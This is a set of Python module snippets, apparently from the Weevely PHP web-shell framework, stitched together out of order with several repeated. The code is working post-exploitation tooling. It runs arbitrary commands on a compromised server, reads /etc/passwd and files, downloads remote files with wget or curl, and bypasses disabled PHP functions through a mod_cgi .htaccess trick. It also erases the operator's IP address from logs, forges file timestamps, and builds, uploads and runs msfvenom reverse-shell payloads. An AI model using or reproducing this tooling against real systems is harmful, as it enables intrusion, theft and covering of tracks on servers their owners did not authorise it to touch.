def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode( "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);", name='file_put_contents'), PhpCode( """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""", name="fwrite") ]) self.register_arguments([{ 'name': 'lpath', 'help': 'Local file path', 'nargs': '?' }, { 'name': 'rpath', 'help': 'Remote file path' }, { 'name': '-force', 'help': 'Force overwrite', 'action': 'store_true', 'default': False }, { 'name': '-content', 'help': 'Optionally specify the file content' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'file_put_contents' }])
def _check_features(self): features = [ 'expose_php', 'file_uploads', 'register_globals', 'allow_url_fopen', 'display_errors', 'enable_dl', 'safe_mode', 'magic_quotes_gpc', 'allow_url_include', 'session.use_trans_sid' ] feat_found = PhpCode("""foreach ( Array("${ '", "'.join(features) }") as $f) if((bool)ini_get($f)) print($f. "\n");""").run( { 'features' : features } ) result = [] if feat_found: for feat in feat_found.split('\n'): feat_msg = 'feat_' + re.sub('[^a-zA-Z_]', '_', feat) if hasattr(messages.module_audit_phpconf, feat_msg): result.append((feat, getattr(messages.module_audit_phpconf, feat_msg))) return result
def run(self, args): if args.get('vector', 'posix_getpwuid') == 'posix_getpwuid': pwdresult = PhpCode("""for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; }""").run(self.args) if not pwdresult: arg_vector = [ '-vector', args.get('vector') ] if args.get('vector') else [] pwdresult = ModuleExec('file_read', [ '/etc/passwd' ] + arg_vector).run() if not pwdresult: return result = '' for line in pwdresult.split('\n'): fields = line.split(':') if len(fields) > 6: uid = int(fields[2]) shell = fields[6] if ( args.get('real') and ( (uid == 0 or uid > 999) and 'false' not in shell ) or not args.get('real') ): result += line + '\n' return result.rstrip('\n')
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode("print(@base64_encode(implode('',@file('${rpath}'))));", name='file'), PhpCode( "$f='${rpath}';print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));", name='fread'), PhpCode("print(@base64_encode(file_get_contents('${rpath}')));", name='file_get_contents'), ShellCmd("base64 -w 0 ${rpath} 2>/dev/null", name='base64', target=Os.NIX), ]) self.register_arguments([{ 'name': 'rpath', 'help': 'Remote file path' }, { 'name': 'lpath', 'help': 'Local file path' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'file' }])
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode( """ $f='get_loaded_extensions'; if(function_exists($f)&&is_callable($f)) foreach($f() as $o) print($o.PHP_EOL); """, 'php_extensions'), PhpCode( """ $f='apache_get_modules'; if(function_exists($f)&&is_callable($f)) foreach($f() as $o) print($o.PHP_EOL); """, 'apache_modules'), ]) self.register_arguments([{ 'name': '-info', 'help': 'Select modules or extensions', 'choices': self.vectors.get_names(), 'nargs': '+' }])
def run(self, args): if args.get('vector', 'posix_getpwuid') == 'posix_getpwuid': pwdresult = PhpCode( """for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; }""" ).run(args) if not pwdresult: arg_vector = ['-vector', args.get('vector') ] if args.get('vector') else [] pwdresult = ModuleExec('file_read', ['/etc/passwd'] + arg_vector).run() if not pwdresult: return result = '' for line in pwdresult.split('\n'): fields = line.split(':') if len(fields) > 6: uid = int(fields[2]) shell = fields[6] if (args.get('real') and ((uid == 0 or uid > 999) and 'false' not in shell) or not args.get('real')): result += line + '\n' return result.rstrip('\n')
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode("(@copy('${srcpath}', '${dstpath}')&&print(1))||print(0);", name='php_copy'), PhpCode( "(@file_put_contents('${dstpath}', file_get_contents('${srcpath}'))&&print(1))||print(0);", name='php_file_contents'), ShellCmd("cp '${srcpath}' '${dstpath}' && echo 1 || echo 0", name='sh_cp', target=Os.NIX), ]) self.register_arguments([{ 'name': 'srcpath', 'help': 'Remote source file path' }, { 'name': 'dstpath', 'help': 'Remote destination file path' }, { 'name': '-vector', 'choices': self.vectors.get_names() }])
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode( """if($s=mysqli_connect('${host}','${user}','${passwd}')){$r=mysqli_query($s,'${query}');if($r){while($c=mysqli_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};mysqli_close($s);}echo '${errsep}'.@mysqli_connect_error().' '.@mysqli_error();""", name='mysql', ), PhpCode( """$r=mysqli_query('${query}');if($r){while($c=mysqli_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};mysqli_close();echo '${errsep}'.@mysqli_connect_error().' '.@mysqli_error();""", name="mysql_fallback"), PhpCode( """if(pg_connect('host=${host} user=${user} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""", name="pgsql"), PhpCode( """if(pg_connect('host=${host} user=${user} dbname=${database} password=${passwd}')){$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';}echo '${colsep}';}};pg_close();}echo '${errsep}'.@pg_last_error();""", name="pgsql_database"), PhpCode( """$r=pg_query('${query}');if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value.'${linsep}';} echo '${colsep}';}};pg_close();echo '${errsep}'.@pg_last_error();""", name="pgsql_fallback"), ]) self.register_arguments([ { 'name': '-user', 'help': 'SQL username' }, { 'name': '-passwd', 'help': 'SQL password' }, { 'name': '-host', 'help': 'Db host or host:port', 'nargs': '?', 'default': 'localhost' }, { 'name': '-dbms', 'help': 'Db type', 'choices': ('mysql', 'pgsql'), 'default': 'mysql' }, { 'name': '-database', 'help': 'Database name (Only PostgreSQL)' }, { 'name': '-query', 'help': 'Execute a single query' }, { 'name': '-encoding', 'help': 'Db text encoding', 'default': 'utf-8' }, ])
def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ # All the system-like calls has to be properly wrapped between single quotes PhpCode("""@system('${command}${stderr_redirection}');""", "system"), PhpCode("""@passthru('${command}${stderr_redirection}');""", "passthru"), PhpCode("""print(@shell_exec('${command}${stderr_redirection}'));""", "shell_exec"), PhpCode("""$r=array(); @exec('${command}${stderr_redirection}', $r);print(join(\"\\n\",$r));""", "exec"), PhpCode(""" $h=@popen('${command}','r'); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }""", "popen"), PhpCode(""" $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = @proc_open('${command}', $p, $pipes); if($h&&$pipes){ while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h); }""", "proc_open"), PhpCode("""@python_eval('import os; os.system('${command}${stderr_redirection}');');""", "python_eval"), PhpCode(""" if(class_exists('Perl')){ $perl=new Perl(); $r=$perl->system('${command}${stderr_redirection}'); print($r); }""", "perl_system"), # pcntl_fork is unlikely, cause is callable just as CGI or from CLI. PhpCode(""" $p=@pcntl_fork(); if(!$p){ @pcntl_exec("/bin/sh",Array("-c",'${command}')); } else { @pcntl_waitpid($p,$status); }""", name="pcntl", target=Os.NIX), ]) self.register_arguments([ { 'name' : 'command', 'help' : 'Shell command', 'nargs' : '+' }, { 'name' : '-stderr_redirection', 'default' : ' 2>&1' }, { 'name' : '-vector', 'choices' : self.vectors.get_names() }, ])
def init(self): self.register_info({ 'author': [ 'Emilio Pinna', # mod_cgi + .htaccess bypassing technique by ASDIZZLE # https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/ 'ASDIZZLE' ], 'license': 'GPLv3' }) self.register_arguments([ { 'name': 'rpath', 'help': 'Remote path. If it is a folder find the first writable folder in it', 'default': '.', 'nargs': '?' }, { 'name': '-script', 'help': 'CGI script to upload', 'default': os.path.join(self.folder, 'cgi.sh') }, { 'name': '-just-run', 'help': 'Skip install and run shell through URL' }, ]) self.register_vectors([ PhpCode( """(is_callable('apache_get_modules')&&in_array('mod_cgi', apache_get_modules())&&print(1))||print(0);""", postprocess=lambda x: True if x == '1' else False, name='mod_cgi'), ModuleExec('file_upload2web', [ '/bogus/.htaccess', '-content', 'Options +ExecCGI\nAddHandler cgi-script .${extension}' ], name='install_htaccess'), ModuleExec('file_upload', ['${script}', '${rpath}'], name='install_script'), PhpCode( """(is_callable('chmod')&&chmod('${rpath}', 0777)&&print(1))||print(0);""", postprocess=lambda x: True if x == '1' else False, name='chmod'), ModuleExec('file_rm', ['${path}'], name='remove'), ])
def _check_functions(self): functions = { 'info': [ 'apache_get_modules', 'apache_get_version', 'apache_getenv', 'get_loaded_extensions', 'phpinfo', 'phpversion', ], 'files': [ 'chgrp', 'chmod', 'chown', 'copy', 'link', 'mkdir', 'rename', 'rmdir', 'symlink', 'touch', 'unlink', 'posix_mkfifo' ], 'log': ['openlog', 'syslog', 'debugger_off', 'debugger_on', 'closelog'], 'proc_execution': [ 'exec', 'passthru', 'pcntl_exec', 'popen', 'proc_open', 'shell_exec', 'system', 'dotnet_load' ], 'proc_manipulation': [ 'apache_child_terminate', 'apache_note', 'apache_setenv', 'dl', 'proc_close', 'proc_get_status', 'proc_terminate', 'proc_nice', 'putenv', 'virtual' 'posix_kill', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'runkit_function_rename' ] } result = [] for ftype, flist in functions.items(): func_found = PhpCode( ("foreach ( Array(\"${ '\", \"'.join(functions) }\") as $f) " + "if(function_exists($f)&&is_callable($f)) print($f. \"\\n\");" )).run({'functions': flist}) if func_found: for func_name in func_found.split('\n'): type_msg = 'func_' + re.sub('[^a-zA-Z_]', '_', ftype) if hasattr(messages.module_audit_phpconf, type_msg): msg = getattr(messages.module_audit_phpconf, type_msg) if len(func_name) == 0: msg = '' result.append((func_name, msg)) return result
def run(self): # When no folder is specified, change folder to SCRIPT_NAME to # simulate the bash behaviour. If not available, use current dir. if not self.args.get('dir'): script_folder = ModuleExec( 'system_info', [ '-info', 'script_folder' ] ).load_result_or_run( result_name = 'script_folder' ) self.args['dir'] = script_folder if script_folder else '.' # The execution and result storage is done manually cause # no result has to be stored if the execution fails. This # is not simple to implement using # self.vectors.get_result(.., store_result). folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run( self.args ) if folder: self._store_result('cwd', folder) else: log.warning( messages.module_file_cd.failed_directory_change_to_s % (self.args['dir']) )
def init(self): self.register_info({'author': ['appo'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode("""$fc=file("${file}"); $f=fopen("${file}","w"); foreach($fc as $line) { if (!strstr($line,"${ip}")) fputs($f,$line); } fclose($f);""", name="php_clear"), ShellCmd("""sed -i /${ip}/d ${file}""", name="clearlog"), ShellCmd( """sed /${ip}/d ${file} > ${file}.$$ && /bin/mv ${file}.$$ ${file}""", name="old_school") ]) self.register_arguments([ { 'name': 'ip', 'help': 'Your IP' }, { 'name': 'file', 'help': 'File to Clear' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': "clearlog" }, ])
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_vectors([ PhpCode( """@file_put_contents("${rpath}",file_get_contents("${url}"));""", name="file_put_contents"), ShellCmd("""wget ${url} -O ${rpath}""", name="wget"), ShellCmd("""curl -o ${rpath} ${url}""", name="curl") ]) self.register_arguments([ { 'name': 'url', 'help': 'URL to download remotely' }, { 'name': 'rpath', 'help': 'Remote file path' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': "file_put_contents" }, ])
def _spoil_vectors_but(self, vector_safe_name): # Spoil all the module sessions but the safe one for i in range(0, len(modules.loaded['shell_sh'].vectors)): name = modules.loaded['shell_sh'].vectors[i].name payload = modules.loaded['shell_sh'].vectors[i].arguments[0] if name != vector_safe_name: modules.loaded['shell_sh'].vectors[i] = PhpCode( '\'"%s' % payload, name)
def _check_classes(self): classes = ['splFileObject', 'COM', 'Java'] class_found = PhpCode( """foreach ( Array("${ '", "'.join(classes) }") as $f) if((bool)class_exists($f)) print($f. "\n");""" ).run({'classes': classes}) result = [] if class_found: for class_name in class_found.split('\n'): class_msg = 'class_' + re.sub('[^a-zA-Z_]', '_', class_name) if hasattr(messages.module_audit_phpconf, class_msg): result.append((class_name, getattr(messages.module_audit_phpconf, class_msg))) return result
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) # The grep action is done using multiple request. # First search for writable file, and then execute the grep # code for every found file. This allows to reuse code in # find_perm module and reduce the chances of timeout. self.register_vectors([ ShellCmd( payload= "grep ${ '' if case else '-i' } -e '${regex}' '${rfile}'", name="grep_sh", arguments=[ "-stderr_redirection", " 2>/dev/null", ], # Remove the trailing newline postprocess=lambda r: r[:-1] if r and r.endswith('\n') else r), PhpCode( payload= """$m=Array();preg_match_all("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }/m${ '' if case else 'i'}",file_get_contents('${rfile}'),$m);if($m) print(implode(PHP_EOL,$m[0]));""", name="grep_php") ]) self.register_arguments([ { 'name': 'rpath', 'help': 'Path. If is a folder grep all the contained files.' }, { 'name': 'regex', 'help': 'Regular expression to match file name' }, { 'name': '-case', 'help': 'Search case sensitive expression', 'action': 'store_true', 'default': False }, { 'name': '-name-regex', 'help': 'Regular expression to match file name to grep' }, { 'name': '-no-recursion', 'action': 'store_true', 'default': False }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'grep_php' }, ])
def test_vector_one_os(self): bogus_vector = 'bogus_win' # Add a bogus Os.WIN vector modules.loaded['shell_sh'].vectors.append( PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) # Check if called forced the bogusv vector name, returns Null self.assertRaises(ArgparseError, self.run_argv, ["-vector", bogus_vector, "echo 1"])
def _check_classes(self): classes = [ 'splFileObject', 'COM', 'Java' ] class_found = PhpCode("""foreach ( Array("${ '", "'.join(classes) }") as $f) if((bool)class_exists($f)) print($f. "\n");""").run( { 'classes' : classes } ) result = [] if class_found: for class_name in class_found.split('\n'): class_msg = 'class_' + re.sub('[^a-zA-Z_]', '_', class_name) if hasattr(messages.module_audit_phpconf, class_msg): result.append((class_name, getattr(messages.module_audit_phpconf, class_msg))) return result
def run(self, args): chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir'] folder = PhpCode("""${chdir}print(@getcwd());""", "chdir").run({'chdir': chdir}) if folder: # Store cwd used by other modules self._store_result('cwd', folder) else: log.warning(messages.module_file_cd.failed_directory_change_to_s % (args['dir']))
def test_vector_all_os(self): bogus_vector = 'bogus_win' # Add a bogus Os.WIN vector modules.loaded['shell_sh'].vectors.append( PhpCode("echo(1);", name=bogus_vector, target=Os.WIN)) # Spoil all vectors but bogus_win self._spoil_vectors_but(bogus_vector) # Check if looping all vectors still returns None self.assertIsNone(self.run_argv(["echo 1"]), None)
def _check_features(self): features = [ 'expose_php', 'file_uploads', 'register_globals', 'allow_url_fopen', 'display_errors', 'enable_dl', 'safe_mode', 'magic_quotes_gpc', 'allow_url_include', 'session.use_trans_sid' ] feat_found = PhpCode( """foreach ( Array("${ '", "'.join(features) }") as $f) if((bool)ini_get($f)) print($f. "\n");""" ).run({'features': features}) result = [] if feat_found: for feat in feat_found.split('\n'): feat_msg = 'feat_' + re.sub('[^a-zA-Z_]', '_', feat) if hasattr(messages.module_audit_phpconf, feat_msg): result.append( (feat, getattr(messages.module_audit_phpconf, feat_msg))) return result
def run(self): return PhpCode(""" $p="${dir}"; if(@is_dir($p)){ $d=@opendir($p); $a=array(); if($d){ while(($f=@readdir($d))) $a[]=$f; sort($a); print(join(PHP_EOL,$a)); } }""", postprocess=lambda x: x.split('\n')).run(self.args)
def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( """if(mysql_connect("${host}","${user}","${passwd}")){$r=mysql_query("${query}");if($r){while($c=mysql_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};mysql_close();}""", name = 'mysql', ), PhpCode("""$r=mysql_query("${query}");if($r){while($c=mysql_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};mysql_close();""", name = "mysql_fallback" ), PhpCode( """if(pg_connect("host=${host} user=${user} password=${passwd}")){$r=pg_query("${query}");if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";}echo "\n";}};pg_close();}""", name = "pgsql" ), PhpCode( """$r=pg_query("${query}");if($r){while($c=pg_fetch_row($r)){foreach($c as $key=>$value){echo $value."\x00";} echo "\n";}};pg_close();""", name = "pgsql_fallback" ), ] ) self.register_arguments([ { 'name' : '-user', 'help' : 'SQL username' }, { 'name' : '-passwd', 'help' : 'SQL password' }, { 'name' : '-host', 'help' : 'Db host or host:port', 'nargs' : '?', 'default' : '127.0.0.1' }, { 'name' : '-dbms', 'help' : 'Db type', 'choices' : ('mysql', 'pgsql'), 'default' : 'mysql' }, { 'name' : '-query', 'help' : 'Execute a single query' }, ])
def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( "touch('${rpath}', ${epoch_ts});", name = 'php_touch' ), ShellCmd( "touch -d @${epoch_ts} '${rpath}'", name = 'sh_touch', target = Os.NIX ), ] ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-epoch-ts', 'help' : 'Epoch timestamp', 'type' : int }, { 'name' : '-human-ts', 'help' : 'Human readable timestamp e.g. \'2004-02-29 16:21:42\' or \'16:21\'' }, { 'name' : '-file-ts', 'help' : 'Clone timestamp from another file' }, { 'name' : '-oldest-file-ts', 'help' : 'Clone timestamp from the oldest file in the same folder', 'action' : 'store_true', 'default' : False }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_touch' } ])
def run(self, args): # Run unlink return PhpCode("""(unlink('${rpath}') && print(1)) || print(0);""", postprocess = lambda x: True if x == '1' else False ).run(args)
def run(self): # Check msfvenom existance msvenom_path = spawn.find_executable(self.args['msfvenom_path']) if not msvenom_path: log.error( messages.module_backdoor_metasploit.msfvenom_s_not_found % self.args['msfvenom_path']) return # Set options according to the payload type options = [] if 'reverse' in self.args['payload']: lhost = self.args.get('lhost') if not lhost: log.error(messages.module_backdoor_metasploit. error_payload_s_requires_lhost % self.args['payload']) return else: options += [('LHOST', lhost)] else: options += [('RHOST', host)] options += [('PORT', self.args.get('port'))] log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole) log.info( 'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"' % (self.args['payload'], ' '.join( ["set %s %s;" % (f, v) for f, v in options]))) # Get temporary file name local_file = tempfile.NamedTemporaryFile() local_path = local_file.name # Build argument list for msfvenom arguments_list = [ msvenom_path, '-p', self.args['payload'], '-o', local_path ] + ['%s=%s' % (v, f) for v, f in options] # Add executable format to the argument list if self.args['payload'].startswith('linux/'): arguments_list += ['-f', 'elf'] elif self.args['payload'].startswith('windows/'): arguments_list += ['-f', 'exe'] log.debug(' '.join(arguments_list)) # Generate meterpreter PHP code agent = '' status = 0 try: subprocess.check_call(arguments_list, stderr=open('/dev/null', 'w')) agent = open(local_path, 'r').read() except subprocess.CalledProcessError as e: status = e.returncode except Exception as e: log.debug(str(e)) status = -1 if status or not agent: log.error( messages.module_backdoor_metasploit.error_generating_payload) return if self.args['payload'].startswith('php/'): # If PHP payload, just run it PhpCode(agent, background=True).run() else: if self.session['shell_sh']['status'] != Status.RUN: log.error(messages.module_backdoor_metasploit. error_payload_s_requires_shell_use_php % self.args['payload']) return # Else: upload, execute, remove folders = ModuleExec( "file_find", ['-writable', '-quit', '-ftype', 'd', self.args['rpath'] ]).run() if not folders or not folders[0]: log.error(messages.module_backdoor_metasploit. error_searching_writable_folder_under_s % (self.args['rpath'])) return local_filename = os.path.basename(local_path) remote_path = os.path.join(folders[0], local_filename) ModuleExec("file_upload", [local_path, remote_path]).run() # Let the uploaded file executable ShellCmd("chmod +x %s" % (remote_path)).run() # Execute the payload in background ShellCmd(remote_path, background=True).run() ModuleExec("file_rm", [self.args['rpath']]).run()
def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) # The grep action is done using multiple request. # First search for writable file, and then execute the grep # code for every found file. This allows to reuse code in # find_perm module and reduce the chances of timeout. self.register_vectors([ ShellCmd( payload= "grep ${ '' if case else '-i' } ${ '-v' if invert else '' } -e '${regex}' '${rfile}'", name="grep_sh", arguments=[ "-stderr_redirection", " 2>/dev/null", ]), PhpCode(payload="""% if invert: $m=file_get_contents("${rfile}");$a=preg_replace("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }".PHP_EOL."?/m${ '' if case else 'i'}","",$m);if($a)print($a); % else: $m=Array();preg_match_all("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }/m${ '' if case else 'i'}",file_get_contents('${rfile}'),$m);if($m) print(implode(PHP_EOL,$m[0])); % endif""", name="grep_php") ]) self.register_arguments([ { 'name': 'rpath', 'help': 'Path. If is a folder grep all the contained files.' }, { 'name': 'regex', 'help': 'Regular expression to match file name' }, { 'name': '-case', 'help': 'Search case sensitive expression', 'action': 'store_true', 'default': False }, { 'name': '-name-regex', 'help': 'Regular expression to match file name to grep' }, { 'name': '-no-recursion', 'action': 'store_true', 'default': False }, { 'name': '-output', 'help': 'Redirect output to remote file' }, { 'name': '-v', 'dest': 'invert', 'action': 'store_true', 'default': False, 'help': 'Invert matching to select non-matching lines' }, { 'name': '-local', 'action': 'store_true', 'default': False, 'help': 'Save redirected output locally' }, { 'name': '-vector', 'choices': self.vectors.get_names(), 'default': 'grep_php' }, ])
def _check_functions(self): functions = { 'info' : [ 'apache_get_modules', 'apache_get_version', 'apache_getenv', 'get_loaded_extensions', 'phpinfo', 'phpversion', ], 'files' : [ 'chgrp', 'chmod', 'chown', 'copy', 'link', 'mkdir', 'rename', 'rmdir', 'symlink', 'touch', 'unlink', 'posix_mkfifo' ], 'log' : [ 'openlog', 'syslog', 'debugger_off', 'debugger_on', 'closelog' ], 'proc_execution' : [ 'exec', 'passthru', 'pcntl_exec', 'popen', 'proc_open', 'shell_exec', 'system', 'dotnet_load' ], 'proc_manipulation' : [ 'apache_child_terminate', 'apache_note', 'apache_setenv', 'dl', 'proc_close', 'proc_get_status', 'proc_terminate', 'proc_nice', 'putenv', 'virtual' 'posix_kill', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'runkit_function_rename' ] } result = [] for ftype, flist in functions.items(): func_found = PhpCode("""foreach ( Array("${ '", "'.join(functions) }") as $f) if(function_exists($f)&&is_callable($f)) print($f. "\n");""").run( { 'functions' : flist } ) if func_found: for func_name in func_found.split('\n'): type_msg = 'func_' + re.sub('[^a-zA-Z_]', '_', ftype) if hasattr(messages.module_audit_phpconf, type_msg): result.append((func_name, getattr(messages.module_audit_phpconf, type_msg))) return result
def run(self): return PhpCode(""" class UIDMap { private $map = array(); public function __construct() { $lines = @explode(PHP_EOL, file_get_contents('/etc/passwd')); if (!$lines) return; foreach ($lines as $line) { $els = explode(':', $line); $uname = $els[0]; if (strlen($uname) > 8) $uname = substr($uname, 0, 7) . '+'; $this->map[$els[2]] = $uname; } } public function getUserName($uid) { $uname = $this->map[$uid]; if (!$uname) return $uid; return $uname; } } function getTtyName($ttynr) { $major = ($ttynr >> 8) & 0xffffffff ; $minor = $ttynr & 0xff; if ($major === 4) { if ($minor < 64) return 'tty'.$minor; return 'ttyS'.(255 - $minor); } else if ($major >= 136 && $major <=143) { return 'pts/'.$minor; } // unsupported tty return '?'; } function getProcInfo($procpath, $pid) { global $uidmap; $info = array( 'UID' => '?', 'PID' => '?', 'PPID' => '?', 'STIME' => '?', 'TTY' => '?', 'TIME' => '?', 'CMD' => '?' ); $content = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'stat'))); if (!$content) return $info; $stats = explode(' ', $content); $info['PID'] = $stats[0]; $info['PPID'] = $stats[3]; // calculate stime and time // since there is no way to call // sysconf(_SC_CLK_TCK), let's use // a workaround with filectime $curtime = time(); $stime = @filemtime(join(DIRECTORY_SEPARATOR, array($procpath, $pid))); if (date('j', $curtime) === date('j', $stime)) { $info['STIME'] = date('H:i', $stime); } else { $info['STIME'] = date('Md', $stime); } $time = $curtime - $stime; $hours = floor($time / 3600); $minutes = floor(($time % 3600) / 60); $seconds = $time % 60; $info['TIME'] = sprintf("%'.02d:%'.02d:%'.02d", $hours, $minutes, $seconds); $info['TTY'] = getTtyName($stats[6]); // get cmd $cmd = @file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'cmdline'))); if ($cmd && strlen($cmd) > 0) { $cmd = @str_replace("\x00", ' ', $cmd); } else { $cmd = @str_replace('(', '[', str_replace(')', ']', $stats[1])); } $info['CMD'] = $cmd; // get user $content = @explode(PHP_EOL, file_get_contents(join(DIRECTORY_SEPARATOR, array($procpath, $pid, 'status')))); foreach ($content as $line) { $els = explode("\t", $line); if ($els[0] !== 'Uid:') continue; $info['UID'] = $uidmap->getUserName($els[1]); break; } return $info; } function main() { global $uidmap; // check proc $procpath = '/proc'; if (!file_exists('/proc')) { $lines = @explode(PHP_EOL, file_get_contents('/etc/mtab')); if (!$lines) { print('Unable to list processes.' . PHP_EOL); return; } foreach ($lines as $line) { $els = explode(' ', $line); if ($els[0] !== 'proc') continue; $procpath = $els[1]; } if ($procpath === '/proc') { print('Unable to list processes.' . PHP_EOL); return; } } // init uidmap $uidmap = new UIDMap(); $pids = @scandir($procpath); $format = '%-8s %5s %5s %5s %-8s %10s %s' . PHP_EOL; printf($format, 'UID', 'PID', 'PPID', 'STIME', 'TTY', 'TIME', 'CMD'); foreach ($pids as $pid) { if (!is_numeric($pid)) continue; $proc = getProcInfo($procpath, $pid); printf($format, $proc['UID'], $proc['PID'], $proc['PPID'], $proc['STIME'], $proc['TTY'], $proc['TIME'], $proc['CMD']); } } main(); """).run()
def run(self): return PhpCode( """(mail('${to}', '${subject}', '${message}', 'From: ${sender}') && print(1)) || print(0);""", postprocess=lambda x: True if x == '1' else False).run(self.args)
def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode("print(@$_SERVER['DOCUMENT_ROOT']);", 'document_root'), PhpCode("@print(getcwd());", 'pwd'), PhpCode("print(dirname(__FILE__));", 'script_folder'), PhpCode("print(@$_SERVER['SCRIPT_NAME']);", 'script'), PhpCode("print(@$_SERVER['PHP_SELF']);", 'php_self'), PhpCode(""" if(is_callable('posix_getpwuid')&&is_callable('posix_geteuid')) { $u=@posix_getpwuid(@posix_geteuid()); if($u){ $u=$u['name']; } else { $u=getenv('username'); } print($u); } """, 'whoami'), PhpCode("print(@gethostname());", 'hostname'), PhpCode("$v=@ini_get('open_basedir'); if($v) print($v);", 'open_basedir'), PhpCode("print(@ini_get('disable_functions'));", 'disable_functions'), PhpCode("print(@php_ini_loaded_file());", 'ini_path'), PhpCode("print(@sys_get_temp_dir());", 'tmp_path'), PhpCode("print(@disk_free_space(__DIR__));", 'free_space', postprocess=lambda x: utils.prettify.format_size(int(x))), PhpCode("print(@ini_get('safe_mode') ? 1 : 0);", 'safe_mode', postprocess=lambda x: True if x == '1' else False), PhpCode("print(@$_SERVER['SERVER_SOFTWARE']);", 'server_soft'), PhpCode("print(@php_uname());", 'uname'), PhpCode("print(@php_uname('s') . ' ' . @php_uname('m'));", 'os'), PhpCode("print(@$_SERVER['REMOTE_ADDR']);", 'client_ip'), PhpCode("print(@file_get_contents('${provider}'));", 'server_ip'), PhpCode("print(@$_SERVER['SERVER_NAME']);", 'server_name'), PhpCode("print(@ini_get('max_execution_time'));", 'max_execution_time', postprocess=lambda x: int(x) if x and x.isdigit() else False), PhpCode("@print(DIRECTORY_SEPARATOR);", 'dir_sep'), PhpCode(""" $v=''; if(function_exists('phpversion')) { $v=phpversion(); } elseif(defined('PHP_VERSION')) { $v=PHP_VERSION; } elseif(defined('PHP_VERSION_ID')) { $v=PHP_VERSION_ID; } print($v); """, 'php_version') ] ) self.register_arguments([ {'name': '-info', 'help': 'Select information (possible values are: %s)' % (', '.join(self.vectors.get_names())), 'choices': self.vectors.get_names(), 'default': [], 'nargs': '+', 'metavar': 'arg'}, {'name': '-extended', 'help': 'Get more info. Slower. (extended info: %s)' % (', '.join(self.extended_vectors)), 'action': 'store_true', 'default': False}, {'name': '-provider', 'help': 'The URL to get server_ip from (default: %s)' % self.default_provider, 'metavar': 'http://...', 'default': self.default_provider} ])
